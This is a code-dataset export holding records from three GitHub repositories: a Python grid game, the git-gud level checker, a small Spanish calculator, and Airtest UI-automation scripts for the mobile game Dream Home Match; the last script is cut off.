radius:\n\n 0\n 000\n000000\n 000\n 0\n'''\n\nimport random\n\n# Define grid variables\ngrid_height = 20\ngrid_width = 20\n\n# Define units to place in grid\nunit_list = \"IRLMH\"\n\ndef gen_blank_map(height, width):\n return [[\" \" for x in range(width)] for y in range(height)]\n\ndef gen_game_map(height, width, unit_list):\n game_map = gen_blank_map(height, width)\n i, j = 0, 0\n\n while(i < len(game_map)):\n while(j < len(game_map[i])):\n placement_chance = random.randrange(10)\n if(placement_chance > 7):\n unit = random.randint(0, 4)\n # Formatting fluff\n game_map[i][j] = \" \" + unit_list[unit]\n j += 1\n i += 1\n j = 0\n return game_map\n\ndef print_map(generic_map):\n i, j = 0, 0\n while(i < len(generic_map)):\n while(j < len(generic_map[i])):\n print(\"{} \".format(generic_map[i][j]), end='')\n j += 1\n i += 1\n j = 0\n print()\n print()\n\ndef determine_tile_value(game_map, height, width, unit_list):\n radius_x = [-2, -1, -1, -1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2]\n radius_y = [0, -1, 0, 2, -2, -1, 0, 1, 2, -1, 0, 1, 2, 0]\n\n i, j, k, total = 0, 0, 0, 0\n\n num_map = gen_blank_map(height, width)\n\n while(i < len(game_map)):\n while(j < len(game_map[i])):\n while(k < len(radius_x)):\n try:\n to_check = game_map[i+radius_x[k]][j+radius_y[k]]\n # More formatting fluff needed for comparisons\n if(to_check != \" \"):\n if(to_check == \" \" + unit_list[0]):\n total += 1\n elif(to_check == \" \" + unit_list[1]):\n total += 2\n elif(to_check == \" \" + unit_list[2]):\n total += 5\n elif(to_check == \" \" + unit_list[3]):\n total += 7\n else:\n total += 9\n else:\n total += 0\n k += 1\n except:\n k += 1\n continue\n # Even more formatting fluff\n if(total > 9):\n num_map[i][j] = str(total)\n else:\n num_map[i][j] = \" \" + str(total)\n j += 1\n k, total = 0, 0\n i += 1\n j = 0\n return num_map\n\ndef find_highest_value(num_map):\n i, j, highest, to_strike = 0, 0, 0, []\n while(i < len(num_map)):\n while(j < len(num_map[i])):\n if(int(num_map[i][j]) >= highest):\n highest = int(num_map[i][j])\n to_strike = [i, j]\n else:\n pass\n j += 1\n i += 1\n j = 0\n return [to_strike, highest]\n\n# Create the map with units on it\nthe_map = gen_game_map(grid_height, grid_width, unit_list)\nprint_map(the_map)\n\n# Create the map detailing tile values\nnum_map = determine_tile_value(the_map, grid_height, grid_width, unit_list)\nprint_map(num_map)\n\n# Find the best tile to strike\nlst = find_highest_value(num_map)\nprint(\"Co-ordinates to strike: X:{}, Y:{}\\nValue: {}\".format(lst[0][1], lst[0][0], lst[1]))\n" } ]
2
vpuri3/git-gud
https://github.com/vpuri3/git-gud
e0da1e0b8b743178e7dc7c7716a4eb9034652572
12dbddc3c6f877aae2b2d74d37ada36507966775
ed4a751560e4a98171213e3f637125b0ff6cc6d9
refs/heads/master
2020-08-06T10:49:43.651738
2019-10-05T04:52:08
2019-10-05T04:52:08
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6038426160812378, "alphanum_fraction": 0.6038426160812378, "avg_line_length": 30.242856979370117, "blob_id": "4cc0efb7e03be5fdef9587b538f60922a6ab14f6", "content_id": "1079736c1d3535d0e5ab1a4720547eda85e0b436", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2186, "license_type": "permissive", "max_line_length": 95, "num_lines": 70, "path": "/gitgud/levels/util.py", "repo_name": "vpuri3/git-gud", "src_encoding": "UTF-8", "text": "import os\n\nfrom gitgud.operations import parse_tree\nfrom gitgud.operations import level_json\nfrom gitgud.operations import get_current_tree\nfrom gitgud.operations import create_tree\n\n\ndef test_level(level, test):\n # Check commits\n if len(test['commits']) != len(level['commits']):\n return False\n for commit_name in test['commits']:\n if commit_name not in level['commits']:\n return False\n level_commit = level['commits'][commit_name]\n test_commit = test['commits'][commit_name]\n\n # Commits must have the same number of parents and be in the same order\n if len(level_commit['parents']) != len(test_commit['parents']):\n return False\n for level_parent, test_parent in zip(level_commit['parents'], test_commit['parents']):\n if level_parent != test_parent:\n return False\n\n # Check branches\n if len(test['branches']) != len(level['branches']):\n return False\n for branch_name in test['branches']:\n if branch_name not in level['branches']:\n return False\n if level['branches'][branch_name]['target'] != test['branches'][branch_name]['target']:\n return False\n\n # Check tags\n if len(test['tags']) != len(level['tags']):\n return False\n for tag_name in test['tags']:\n if tag_name not in level['tags']:\n return False\n if level['tags'][tag_name]['target'] != test['tags'][tag_name]['target']:\n return False\n\n # Check HEAD\n if level['HEAD']['target'] == test['HEAD']['target']:\n return False\n\n return True\n\n\nclass Level:\n def __init__(self, name, challenges):\n self.name = name\n self.challenges = challenges\n pass\n\n\nclass BasicChallenge:\n def __init__(self, path):\n self.path = path\n\n def setup(self):\n commits, head = parse_tree(os.path.join(self.path, 'setup.spec'))\n create_tree(commits, head)\n\n def test(self):\n commits, head = parse_tree(os.path.join(self.path, 'setup.spec'))\n test_tree = level_json(commits, head)\n level_tree = get_current_tree()\n return test_level(level_tree, test_tree)" }, { "alpha_fraction": 0.77625572681427, "alphanum_fraction": 0.77625572681427, "avg_line_length": 17.33333396911621, "blob_id": "62145619f72682170e8a201ece2e787e9d20ca24", "content_id": "208de2e13ca9f4cac5b44f5cb8da7ec2e40f0ba4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "permissive", "max_line_length": 78, "num_lines": 12, "path": "/gitgud/levels/merging/__init__.py", "repo_name": "vpuri3/git-gud", "src_encoding": "UTF-8", "text": "import pkg_resources\n\nfrom gitgud.levels.util import BasicChallenge\n\noctopus = BasicChallenge(pkg_resources.resource_filename(__name__, 'octopus'))\n\nall_challenges = [\n octopus\n]\n\ndel pkg_resources\ndel BasicChallenge" }, { "alpha_fraction": 0.77224200963974, "alphanum_fraction": 0.77224200963974, "avg_line_length": 22.5, "blob_id": "e5f6664df74c28f3d21a29ac039085fe6c3de4f4", "content_id": "bc6debc77ec8621f68b16c8d5f41326ca42074c5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 281, "license_type": "permissive", "max_line_length": 70, "num_lines": 12, "path": "/gitgud/levels/__init__.py", "repo_name": "vpuri3/git-gud", "src_encoding": "UTF-8", "text": "from gitgud.levels.intro import all_challenges as intro_challenges\nfrom gitgud.levels.merging import all_challenges as merging_challenges\n\nfrom gitgud.levels.util import Level\n\n\nlevels = [\n Level('Intro', intro_challenges),\n Level('Merging', merging_challenges),\n]\n\ndel Level" }, { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7692307829856873, "avg_line_length": 17.5, "blob_id": "72ad5d3a34657ed317bbfc80e12b670e9edad3cc", "content_id": "f5d10f7c92ea3ff5ba6b4543c76e9fd83cc03afc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 221, "license_type": "permissive", "max_line_length": 80, "num_lines": 12, "path": "/gitgud/levels/intro/__init__.py", "repo_name": "vpuri3/git-gud", "src_encoding": "UTF-8", "text": "import pkg_resources\n\nfrom gitgud.levels.util import BasicChallenge\n\ncommits = BasicChallenge(pkg_resources.resource_filename(__name__, '_commits/'))\n\nall_challenges = [\n commits\n]\n\ndel pkg_resources\ndel BasicChallenge" } ]
4
jalbertodvmac/pCalculadora
https://github.com/jalbertodvmac/pCalculadora
a0f099bb3168564d562a3312da5f8031c3e2aba1
3cf51cf6752085d572a7475f45831460cbdff1f3
b00e9da2145c2ee6428496ac192f342f13c95a6a
refs/heads/master
2021-01-15T11:28:55.456103
2013-04-20T21:38:12
2013-04-20T21:38:12
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.688524603843689, "alphanum_fraction": 0.688524603843689, "avg_line_length": 14.5, "blob_id": "6946e651050c0f692763705e7348183a55c0bd73", "content_id": "7aab2c92fb8ecedc4c3176361914c3b2bf764155", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 61, "license_type": "no_license", "max_line_length": 34, "num_lines": 4, "path": "/README.md", "repo_name": "jalbertodvmac/pCalculadora", "src_encoding": "UTF-8", "text": "pCalculadora\n============\n\nUna calculadora sencilla en Python" }, { "alpha_fraction": 0.5070110559463501, "alphanum_fraction": 0.5151291489601135, "avg_line_length": 25.076923370361328, "blob_id": "5f9f33faa1a845015fe3205a5e90847cc5d4e5af", "content_id": "1b244e253281d43fa9721415eb42be8401d13b30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1355, "license_type": "no_license", "max_line_length": 72, "num_lines": 52, "path": "/__init__.py", "repo_name": "jalbertodvmac/pCalculadora", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\n\n\ndef pCalculadora(salir):\n\n while not salir:\n os.system('clear')\n\n print (\"Seleccione una operacion:\")\n print (\"+ para sumar\")\n print (\"- para restar\")\n print (\"* para multiplicar\")\n print (\"/ para dividir\")\n\n operacion = raw_input(\"Su operacion es: \")\n\n if operacion == \"+\" or operacion == \"-\" or operacion == \"*\" \\\n or operacion == \"/\":\n\n print (\"Introduzca los operadores:\")\n\n operador1 = float(raw_input(\"Primer operador: \"))\n operador2 = float(raw_input(\"Segundo operador: \"))\n\n if operacion == \"+\":\n resultado = operador1 + operador2\n\n elif operacion == \"-\":\n resultado = operador1 - operador2\n\n elif operacion == \"*\":\n resultado = operador1 * operador2\n\n elif operacion == \"/\":\n resultado = operador1 / operador2\n\n print (\"El resultado es:\")\n print (resultado)\n\n else:\n print (\"Opcion incorrecta\")\n\n respuesta = raw_input(\"Desea salir de la aplicacion? s n: \")\n\n while respuesta != \"s\" and respuesta != \"n\":\n respuesta = raw_input(\"Desea salir de la aplicacion? s n: \")\n\n if respuesta == \"s\":\n salir = True\n\npCalculadora(False)" } ]
2
ch3265936/airtest_web_app
https://github.com/ch3265936/airtest_web_app
b1796eddfcea1033d979f4779765ec3c82239a99
bace07b538d9b61130ab7d8f553aa2c9850bd92a
88ab98900732c281a0184e9c018333da17a5ad29
refs/heads/master
2022-12-14T18:37:33.609519
2019-12-04T02:27:40
2019-12-04T02:27:40
215,978,795
1
1
null
2019-10-18T08:35:39
2019-12-04T08:10:05
2022-11-22T04:17:38
Python
[ { "alpha_fraction": 0.4544983506202698, "alphanum_fraction": 0.5300580263137817, "avg_line_length": 31.931739807128906, "blob_id": "1da2e9a0c08fc8d769f4a601fc0a1d71cae68cc3", "content_id": "181d1330463cd40cc6058680c615044616b772b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10350, "license_type": "no_license", "max_line_length": 124, "num_lines": 293, "path": "/scripts/DHM_task_common.air/DHM_task_common.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"tianyabin\"\n\nfrom airtest.core.api import *\n__title__ = '任务剧情'\n__desc__ = '''1、进入任务面板,点击任务\n 2、进入任务剧情'''\n\nfrom airtest.core.api import *\nimport random\napp_id = \"com.dreamhomematch.casual.free\"\nauto_setup(__file__)\nstop_app(app_id)\nsleep(10)\nstart_app(app_id)\nsleep(30)\nlogin_mode ='local'\ndev = device()\nsy = dev.display_info['width']\nsx = dev.display_info['height']\nfrom constant import *\nfrom poco.drivers.unity3d import UnityPoco\npoco = UnityPoco()\nfrom poco.exceptions import PocoNoSuchNodeException\nfrom poco.exceptions import PocoTargetTimeout\n\n\ndef currentData(): # 判断分支\n print(\"-----3----\")\n touch(Template(r\"tpl1572488764686.png\", record_pos=(-0.13, 0.211), resolution=(2560, 1440)))\n sleep(5)\n poco.click([0.48, 0.42])\n text(\"Confirm\")\n sleep(2)\n poco.click([0.48, 0.42])\n sleep(3)\n touch(Template(r\"tpl1572493133436.png\", record_pos=(0.01, 0.039), resolution=(2560, 1440)))\n sleep(10)\n print(\"-----4----\")\n if exists(Template(r\"tpl1574919826343.png\", record_pos=(-0.0, -0.044), resolution=(2880, 1440))):\n poco.click([0.5, 0.55])\n sleep(10)\n print(\"-----5----\")\n if exists(Template(r\"tpl20191202095928.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):#下载新阶段内容\n poco.click([0.5, 0.55])\n sleep(28)\n if exists(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(3)\n if exists(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(5)\n\n\n# 登录facebook首页方法\ndef DHM_login():\n if poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\"):\n poco.click([0.5,0.57])\n sleep(10)\n #选择本地或者服务器数据\n if poco('CurrentDataButton').exists():\n currentData()\n else:#无选择数据分支\n sleep(25)\n if login_mode=='facebook':\n if poco('FacebookLogin').exists():\n touch(Template(r\"tpl1574912559868.png\", record_pos=(-0.144, 0.176), resolution=(2880, 1440)))\n sleep(20)\n print(\"-----1----\")\n if poco('CurrentDataButton').exists():\n currentData()\n else:\n sleep(30)\n poco.click([0.48, 0.55])\n print(\"-----6----\")\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n else:\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n print(\"-----7----\")\n sleep(5)\n sleep(10)\n while True:\n if poco(\"BtnSkip\").exists(): # 出现引导\n poco(\"BtnSkip\").click()\n if poco(name=\"CloBtn\"):\n click_Name(\"CloBtn\")\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n if poco('QuitButton'):\n click_Name(\"QuitButton\")\n # 关闭弹出来的对话框\n if poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n if poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n if poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n if poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭每日签到奖励对话框\n if poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n # 判断是否进入主页面\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n log('当前界面无任何弹框')\n break\n# 点击类型为name按钮并等待UI跟新\ndef click_Name(arg):\n ui = poco(name=arg)\n try:\n ui.invalidate()\n ui.wait_for_appearance(timeout=10)\n ui.click()\n text('succee click--' + str(arg))\n except PocoTargetTimeout as to:\n print('PocoTargetTimeout',to)\n sleep(1)\n except PocoNoSuchNodeException as ns:\n print('PocoNoSuchNodeException',ns)\n sleep(1)\ndef taskDay():\n # click_Name(\"Renwu\")\n poco(\"Main(Clone)\").child(\"LeftBar\").child(\"Renwu\").click()\n sleep(1)\n if exists(Template(r\"tpl1563872365821.png\", record_pos=(-0.154, 0.226), resolution=(1920, 1080))):\n click_Name(\"ConsumeStarCount\")\n sleep(10)\n else:\n try:\n poco(\"Main(Clone)\").child(\"PanelDayOverBonus2\").wait_for_appearance(10)\n get_DayOverBonus()\n except:\n pass\n click_Name(\"ConsumeStarCount\")\n\n # 任务界面点击剧情\ndef common_talk():\n for per in range(10):\n if poco(\"Main(Clone)\").child(\"PanelConstruct\").child(\"TransConstructBlock\").exists():\n for per in range(50):\n if poco(\"Main(Clone)\").child(\"PanelNewComic\").child(\"BtnSkip\").exists():\n try:\n click_talk(1)\n except:\n pass\n else:\n break\n sleep(3)\n clear_touch(0.5, 0.5, 1)\n else:\n break\ndef talk():\n while True:\n if poco(\"Main(Clone)\").child(\"PanelNewComic\").child(\"BtnSkip\").exists():\n poco(\"Main(Clone)\").child(\"PanelNewComic\").child(\"BtnSkip\").click()\n sleep(3)\n else:\n break\n \n # 三选一\ndef repair_select():\n for per in range(5):\n if poco(\"Main(Clone)\").child(\"PanelRepairSelect\").exists():\n # 随机选择第一个地板\n a = ['1', '2', '3']\n b = \"BtnSelectTemplatepoco_\" + random.choice(a)\n click_Name(b)\n sleep(3)\n # 确认选择\n click_Name(\"BtnConfirm\")\n skip_button = poco(\"Main(Clone)\").child(\"PanelNewComic\").child(\"BtnSkip\")\n try:\n if skip_button.wait_for_appearance(15).exists():\n break\n except:\n if poco(\"Main(Clone)\").child(\"PanelRepairSelect\").exists():\n repair_select()\n\n# 判断当前界面是否位于主界面\ndef exists_main():\n # 循环检测4次\n for per in range(4):\n if poco(name=\"BtnSkip\").exists():\n click_Name(\"BtnSkip\")\n sleep(20)\n # 关闭每日签到奖励对话框\n if poco(name=claim_button):\n click_Name(claim_button)\n # 关闭弹出来的对话框\n elif poco(name=close_button):\n click_Name(close_button)\n # 如果只存在ok对话,关闭对话框\n elif poco(\"ButtonOk\"):\n click_Name(\"ButtonOk\")\n # 如果上一关未结束,关闭对话框\n elif poco(name=success_name1):\n click_Name(success_name1)\n sleep(5)\n # 如果有新手引导礼物,关闭对话框\n elif poco(name=itemReward):\n click_Name(\"OKButtonText\")\n sleep(5)\n # 关闭活动奖励对话框\n elif poco(name=\"PanelMainLineActivity\"):\n click_Name(\"ToLevelButton\")\n sleep(5)\n # 关闭每日签到奖励对话框\n elif poco(name=\"PanelDailyReward\"):\n click_Name(\"ClaimButton\")\n sleep(5)\n else:\n log('当前界面无任何弹框')\n break\n\n\n# 循环对话\ndef click_talk(arg):\n sleep(0.5)\n if poco(name=char_skip).exists():\n for n in range(arg):\n click_Name(char_text)\n sleep(0.5)\n else:\n text('当前不处于对话界面')\n raise Exception(\"Current page is not talk\")\n sleep(1)\ndef clear_touch(qx1,qy1,time):\n try:\n touch((sx*qx1,sy*qy1),times=time)\n except PocoTargetTimeout:\n print('timeout')\n sleep(5)\n sleep(2)\ndef get_DayOverBonus():\n if poco(\"Main(Clone)\").child(\"PanelDayOverBonus2\").exists():\n clear_touch(0.5, 0.5, 1)\n poco(\"ConsumeStarCount\").wait_for_appearance(15)\n\ndef get_errorlog():\n poco.start_gesture([0.5, 0.5]).hold(0.1).to([0.5, 0.65]).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).to(\n [0.5, 0.65]).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).up()\n snapshot()\n clear_touch(0.02, 0.03, 1)\n clear_touch(0.98, 0.03, 1)\n snapshot()\n\ndef initialize_log():\n poco.start_gesture([0.5, 0.5]).to([0.5, 0.65]).hold(1).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).to(\n [0.5, 0.65]).to([0.65, 0.65]).to([0.65, 0.5]).to([0.5, 0.5]).up()\n clear_touch(0.83, 0.03, 1)\n clear_touch(0.89, 0.03, 1)\n clear_touch(0.02, 0.03, 1)\n clear_touch(0.98, 0.03, 1)\n##############################################################具体业务\n#登入模式\nDHM_login()\nsleep(5)\nfor i in range(3):\n try:\n taskDay()#接任务\n while True:\n if poco(\"Main(Clone)\").child(\"PanelRepairSelect\").exists():#进入三选一\n repair_select() \n if poco(name=\"BtnSkip\").exists():#进入聊天\n talk()\n if exists(Template(r\"tpl1575275010665.png\", record_pos=(-0.058, -0.001), resolution=(1920, 1080))):#完成一个阶段任务领取奖励\n touch(Template(r\"tpl1575275010665.png\", record_pos=(-0.058, -0.001), resolution=(1920, 1080)))\n sleep(3)\n if exists(Template(r\"tpl1564024885079.png\", record_pos=(-0.439, 0.21), resolution=(1920, 1080))):\n log('当前界面回到主页 ')\n break\n snapshot()\n sleep(3)\n\n except:\n get_errorlog()\n clear_touch(0.5,0.5,1)\n exists_main()\n raise Exception(\"task error\")\n \n\n\n\nstop_app(app_id)\nsleep(3)" }, { "alpha_fraction": 0.7001956701278687, "alphanum_fraction": 0.702152669429779, "avg_line_length": 24.9390869140625, "blob_id": "497fe8864b506811f42e447ae1cd7e3a3119dd16", "content_id": "358d3147cc05c1b696709033eeccc7f8d70e8c8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5142, "license_type": "no_license", "max_line_length": 85, "num_lines": 197, "path": "/runner.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Leo Zeng\nimport datetime\nimport unittest\nimport os\nimport sys\nimport six\nimport traceback\nimport report\nimport video\nimport time\nimport json\nimport multiprocessing\n\nfrom utils import CatchErr, RetryFunc, GetCfgData\nfrom io import open\nfrom airtest.core.api import auto_setup, log, connect_device\nfrom airtest.core.helper import device_platform\nfrom copy import copy\nfrom constant import LOG_ROOT\n\n\n\nclass MyAirtestCase(unittest.TestCase):\n\n\tdef __init__(self, sDevice, oQueue=None):\n\t\tsuper(MyAirtestCase, self).__init__()\n\t\tself.sDevice = sDevice\n\t\tself.queue = oQueue\n\n\tdef Init(self, sPath, sPyFileName):\n\t\tself.m_LogRoot = sPath\n\t\tsConn = GetCfgData('platform') + ':///' + self.sDevice\n\t\tself.m_oDev = connect_device(sConn)\n\t\tsRunTime = datetime.datetime.now().strftime(\"%H%M%S\")\n\t\tself.m_sLogDir = sRunTime + '_' + self.sDevice.replace(':', '') + '_' + sPyFileName\n\t\tself.logdir = os.path.join(sPath, self.m_sLogDir)\n\n\t@classmethod\n\tdef setUpClass(cls):\n\t\tcls.scope = copy(globals())\n\n\tdef setUp(self):\n\t\tauto_setup(logdir=self._logdir)\n\t\tself.RecordScreen()\n\n\tdef tearDown(self):\n\t\ttry:\n\t\t\toutput = os.path.join(self.logdir, \"recording_0.mp4\")\n\t\t\tprint(output)\n\t\t\tself.m_oDev.stop_recording(output)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\tself.Report()\n\t\tif self.queue:\n\t\t\tRunScript(self.sDevice, self.m_LogRoot, oScripts=self.queue)\n\n\tdef runTest(self):\n\t\ttry:\n\t\t\texec(self._code[\"code\"], self._code[\"ns\"])\n\t\texcept Exception as err:\n\t\t\ttb = traceback.format_exc()\n\t\t\tlog(\"Final Error\", tb)\n\t\t\tsix.reraise(*sys.exc_info())\n\n\tdef StartRecording(self):\n\t\tif device_platform(self.m_oDev) == 'Windows':\n\t\t\toutput = os.path.join(self.logdir, 'recording_0.mp4')\n\t\t\tvideo.InitVideoRecorder(self.m_oDev)\n\t\t\tself.m_oDev.start_recording(output)\n\t\telse:\n\t\t\tself.m_oDev.start_recording()\n\n\t@RetryFunc()\n\tdef RecordScreen(self): # 开始录屏\n\t\ttry:\n\t\t\treturn self.StartRecording()\n\t\texcept Exception as e:\n\t\t\ttry:\n\t\t\t\tself.m_oDev.stop_recording(is_interrupted=True)\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\traise e\n\n\tdef Report(self):\n\t\timport file_lock\n\t\tsRet = report.ReportHtml(self.logdir)\n\t\tsCombineTxt = os.path.join(self.m_LogRoot, 'log.txt')\n\t\tif not os.path.exists(sCombineTxt):\n\t\t\tfile = open(sCombineTxt, 'w')\n\t\t\tfile.close()\n\t\tsMsg = json.dumps({'name': self.m_sLogDir, 'result': sRet})\n\t\tfile_lock.WriteLogfile(sCombineTxt, sMsg)\n\n\t@property\n\tdef logdir(self):\n\t\treturn self._logdir\n\n\[email protected]\n\tdef logdir(self, value):\n\t\tself._logdir = value\n\n\t@property\n\tdef code(self):\n\t\treturn self._code\n\n\[email protected]\n\tdef code(self, value):\n\t\tself._code = value\n\n\ndef Init():\n\tif not os.path.exists(LOG_ROOT):\n\t\tos.mkdir(LOG_ROOT)\n\n\ndef Finish(sLogDir):\n\tprint('test finish')\n\tsCombineLog = os.path.join(sLogDir, 'log.html')\n\tsCombineTxt = os.path.join(sLogDir, 'log.txt')\n\twith open(sCombineTxt, 'r') as f:\n\t\tlMsg = f.readlines()\n\ttemplate_vars = {\n\t\t'patch_tag': os.path.basename(sLogDir),\n\t\t'files': [json.loads(line) for line in lMsg]\n\t}\n\treport.render('combine_log.html', sCombineLog, **template_vars)\n\treturn sCombineLog\n\ndef NewCase(fPy, sLogDir, sDeviceNum, oQueue=None):\n\t\"\"\"实例化MyAirtestCase并绑定runCase方法\"\"\"\n\tif not os.path.exists(sLogDir):\n\t\tos.mkdir(sLogDir)\n\twith open(fPy, 'r', encoding=\"utf8\") as f:\n\t\tcode = f.read()\n\tobj = compile(code.encode(\"utf-8\"), fPy, \"exec\")\n\tns = {}\n\tns[\"__file__\"] = fPy\n\toCase = MyAirtestCase(sDeviceNum, oQueue)\n\tsPyFileName = os.path.basename(fPy).replace(\".py\", \"\")\n\toCase.code = {\"code\": obj, \"ns\": ns}\n\toCase.Init(sLogDir, sPyFileName)\n\treturn oCase\n\n\ndef InitSuite(lScripts):\n\tlSuite = []\n\tfor sAirDir in lScripts:\n\t\tif sAirDir.endswith('air') and os.path.isdir(sAirDir):\n\t\t\tsPyName = os.path.basename(sAirDir).replace('air', 'py')\n\t\t\tlSuite.append(os.path.join(sAirDir, sPyName))\n\t\telse:\n\t\t\tfor sAirDirSecond in os.listdir(sAirDir):\n\t\t\t\tsAirDirSecond = os.path.join(sAirDir, sAirDirSecond)\n\t\t\t\tif sAirDirSecond.endswith('air') and os.path.isdir(sAirDirSecond):\n\t\t\t\t\tsPyName = os.path.basename(sAirDirSecond).replace('air', 'py')\n\t\t\t\t\tlSuite.append(os.path.join(sAirDirSecond, sPyName))\n\treturn lSuite\n\n\n@CatchErr\ndef RunScript(sDeviceNum, sLogDir, oScripts):\n\toTestSuite = unittest.TestSuite()\n\tif isinstance(oScripts, list):\n\t\tfor fPy in oScripts:\n\t\t\toCase = NewCase(fPy, sLogDir, sDeviceNum)\n\t\t\toTestSuite.addTest(oCase)\n\telse:\n\t\tif oScripts.empty():\n\t\t\treturn\n\t\tfPy = oScripts.get()\n\t\toCase = NewCase(fPy, sLogDir, sDeviceNum, oScripts)\n\t\toTestSuite.addTest(oCase)\n\tunittest.TextTestRunner(verbosity=0).run(oTestSuite) # 运行脚本\n\n\ndef CreatePools(lAirScripts, lDevices, sPatchTag=None):\n\tlSuite = InitSuite(lAirScripts)\n\tif GetCfgData('mode') == '2':\n\t\toAirQueue = multiprocessing.Queue()\n\t\tfor sAirScript in lSuite:\n\t\t\toAirQueue.put(sAirScript)\n\t\toScripts = oAirQueue\n\telse:\n\t\toScripts = lSuite\n\tpool = []\n\tsRunTime = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n\tsPatchTag = sPatchTag or sRunTime\n\tsLogDir = os.path.join(LOG_ROOT, sPatchTag)\n\tfor sDeviceNum in lDevices:\n\t\tp = multiprocessing.Process(target=RunScript, args=(sDeviceNum, sLogDir, oScripts))\n\t\tp.start()\n\t\ttime.sleep(3)\n\t\tpool.append(p)\n\tfor p in pool:\n\t\tp.join()\n\treturn Finish(sLogDir)\n" }, { "alpha_fraction": 0.4715864360332489, "alphanum_fraction": 0.5688634514808655, "avg_line_length": 33.937931060791016, "blob_id": "6cb75163a9adcaef143074918df0c77d887cb539", "content_id": "fff240f61fe033103030b0df310a1d67787b11d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5474, "license_type": "no_license", "max_line_length": 120, "num_lines": 145, "path": "/scripts/DHM_FB_buy_coin.air/DHM_FB_buy_coin.py", "repo_name": "ch3265936/airtest_web_app", "src_encoding": "UTF-8", "text": "# -*- encoding=utf8 -*-\n__author__ = \"chihai\"\n\nfrom airtest.core.api import *\nfrom constant import *\napp_id = \"com.dreamhomematch.casual.free\"\n#DHM配置\nlogin_mode ='facebook'\nfrom utils import *\n#开启APP\nauto_setup(__file__)\nstop_app(app_id)\nsleep(3)\nstart_app(app_id)\nsleep(15)\nfrom poco.drivers.unity3d import UnityPoco\npoco = UnityPoco()\nfrom poco.exceptions import PocoNoSuchNodeException\nfrom poco.exceptions import PocoTargetTimeout\ndef currentData():#判断分支\n print(\"-----3----\")\n touch(Template(r\"tpl1572488764686.png\", record_pos=(-0.13, 0.211), resolution=(2560, 1440)))\n sleep(5)\n poco.click([0.48,0.42])\n text(\"Confirm\")\n \n sleep(2)\n poco.click([0.48,0.42])\n sleep(3)\n touch(Template(r\"tpl1572493133436.png\", record_pos=(0.01, 0.039), resolution=(2560, 1440)))\n sleep(10)\n print(\"-----4----\")\n if exists(Template(r\"tpl1574919826343.png\", record_pos=(-0.0, -0.044), resolution=(2880, 1440))):\n poco.click([0.5,0.55])\n sleep(20)\n print(\"-----5----\")\n if exists(Template(r\"tpl20191202095928.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):#下载新阶段内容\n poco.click([0.5, 0.55])\n sleep(28)\n if exists(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl20191202100008.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(3)\n if exists(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440))):\n touch(Template(r\"tpl1572408025013.png\", record_pos=(0.15, 0.196), resolution=(2560, 1440)))\n sleep(5)\n \n \n# 登录facebook首页方法\ndef DHM_login():\n if poco(\"PanelUserAcceptTips\").child(\"RootNode\").child(\"TransContent\").child(\"ButtonOk\"):\n poco.click([0.5,0.57])\n sleep(10)\n #选择本地或者服务器数据\n if poco('CurrentDataButton').exists():\n currentData()\n else:#无选择数据分支\n sleep(25)\n if login_mode=='facebook':\n if poco('FacebookLogin').exists():\n touch(Template(r\"tpl1574912559868.png\", record_pos=(-0.144, 0.176), resolution=(2880, 1440)))\n sleep(10)\n 